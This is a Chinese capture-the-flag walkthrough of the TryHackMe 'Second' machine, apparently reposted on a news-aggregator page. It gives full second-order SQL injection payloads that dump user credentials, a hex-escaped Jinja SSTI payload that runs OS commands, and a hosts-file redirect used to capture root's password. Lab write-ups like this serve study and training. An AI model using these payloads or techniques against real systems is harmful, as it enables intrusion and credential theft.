TryHackMe-Second(boot2root)

news/2025/2/3 7:10:52/

Second

排名第二并不是一件坏事,但在这种情况下并非如此。


端口扫描

循例nmap

在这里插入图片描述

Web枚举

进到8000

在这里插入图片描述

注册个账号进去,没啥用

二次注入

虽然登录框那里没有sql注入,但是可以尝试注册个非法账户名尝试二次注入

在这里插入图片描述

登录进去之后使用单词计数器

在这里插入图片描述

说明sql语句被执行了

直接利用,注册,这里爆出来回显点是2

' union select 1,2,3,4#-- -

在这里插入图片描述

接下来就是通过information_schema爆表爆字段

' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='website'#-- -
' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#-- -
' union select 1,group_concat(username,'||',password),3,4 from users#-- -

获得smokey的凭据

在这里插入图片描述

它可以登ssh

横向移动

在/opt/app下有一个flask

在这里插入图片描述

查看app.py看到服务开在5000端口,先转发出来

在这里插入图片描述

也是一样的登录框

查看源码发现它是直接把username插入页面,这意味着可以尝试SSTI

在这里插入图片描述

注册一个{{1+1}}的用户名,登录得到了结果

在这里插入图片描述

虽然它有黑名单,但我们可以通过十六进制字符轻松绕过

在这里插入图片描述

在这里插入图片描述

payload:

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

在这里插入图片描述

没问题,直接reverse shell

在这里插入图片描述

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('/tmp/cmd')|attr('read')()}}

在这里插入图片描述

成功过来,同时拿到user flag

在这里插入图片描述

权限提升

note.txt

请尽快完成第二个项目现场。 确保 WAF 确实阻止了所有攻击,并且您使用正确的渲染模板来避免 SSTI。 你真的应该让你的网站像我的字计数器一样安全。另外,我需要你在那个 PHP 站点上打气,我将登录以检查你的进度。

在/var/www下有个dev_site

在这里插入图片描述

传个pspy过去,发现有个定时任务

在这里插入图片描述

联系上面的note,那么smokey会定时带着凭据登录过去,但dev_site我们并没有权限修改

hosts有acl

在这里插入图片描述

查看acl发现hazel有写入权限

在这里插入图片描述

hosts里有那个域名,那么如果脚本通过域名请求,那么我们将可以直接修改hosts指向我们的攻击机

在这里插入图片描述

在这里插入图片描述

覆盖过去

在这里插入图片描述

内网还有一个8080端口,那个应该就是dev_site的了

本地端口转发直接转过来

在这里插入图片描述

wireshark抓包,得到凭据

在这里插入图片描述

这是root的密码,直接su过去

在这里插入图片描述

getroot


http://www.ppmy.cn/news/52827.html

相关文章

JavaScript 函数调用和JavaScript 闭包

文章目录 一、JavaScript 函数调用二、JavaScript 闭包总结 一、JavaScript 函数调用 JavaScript 函数有 4 种调用方式。 每种方式的不同在于 this 的初始化。 this 关键字 一般而言,在Javascript中,this指向函数执行时的当前对象。 注意 this 是保留…

文件系统和动静态库

目录 再识文件属性 查看文件属性的原理 初识inode 了解磁盘 什么是磁盘 磁盘的结构 磁盘的存储结构 CHS寻址 磁盘的逻辑结构 使用LBA地址的意义 理解文件系统 页框和页帧 分治思想管理 Linux ext2文件系统 软硬链接 软链接 硬链接 文件的三个时间 动静态库 …

分享一个有意思的文字飞入动画(模仿水滴融合)

先上效果图&#xff1a; 代码如下&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>Title</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}:root {--text-…

5岁程序员上岸的5个选择,适合所有的大龄IT从业者,如何突破职场发展

80%的成语 当他35岁大多数都要考虑转行了 否则35岁你必然被淘汰 当天有个小伙伴 问我一个成语员都关心的问题 他呢在一家互联网大厂工作 他和他的一些同事 都有一种所谓的35岁的焦虑症 担心自己在职场上的竞争力 不断的变弱 又担心自己在上有老下有小的年纪 被公司优化掉 在行业…

OpenShift 4 - 在 CI/CD Pipeline 中创建 KubeVirt 容器虚拟机 - 方法1+2 (视频)

《OpenShift / RHEL / DevSecOps 汇总目录》 说明&#xff1a;本文已经在支持 OpenShift 4.12 的 OpenShift 环境中验证 文章目录 准备环境安装可实现 KubeVirt 操作的 Tekton 资源创建密钥对 在 CI/CD 流水线管道中创建 VM方法1&#xff1a;通过 Manifest 任务创建 VM方法2&am…

java基础——Map

Map 第一章 Map集合 1.1 概述 Java提供了专门的集合类用来存放键值对关系的对象&#xff0c;即java.util.Map接口。 我们通过查看Map接口描述&#xff0c;发现Map接口下的集合与Collection接口下的集合&#xff0c;它们存储数据的形式不同&#xff0c;如下图。 Collection中…

合创视觉UI设计师app设计工具

众所周知&#xff0c;适合的工具可以为你带来事半功倍的效果。根据UI设计专业的特点将20个工具进行介绍&#xff0c;他们分别是&#xff1a;原型设计、线框绘制、调动情绪、动效设计。   为你提供创建完美UI设计所需的必要元素。想学UI设计的同学们看起来吧。   原型设…

.netCHATING 10.4 for NET6-7.0-Crack

.NET 6.0图表支持--dotnetcharting .netCHATING 10.4添加了.NET 6.0图表nuget包和.NET 6.0图表示例包&#xff08;需要Visual Studio 2022&#xff09;&#xff0c;.NET 5是.NET Core 3.1和.NET Framework 4.8的继任者&#xff0c;旨在为.NET开发人员提供新的跨平台开发体验。…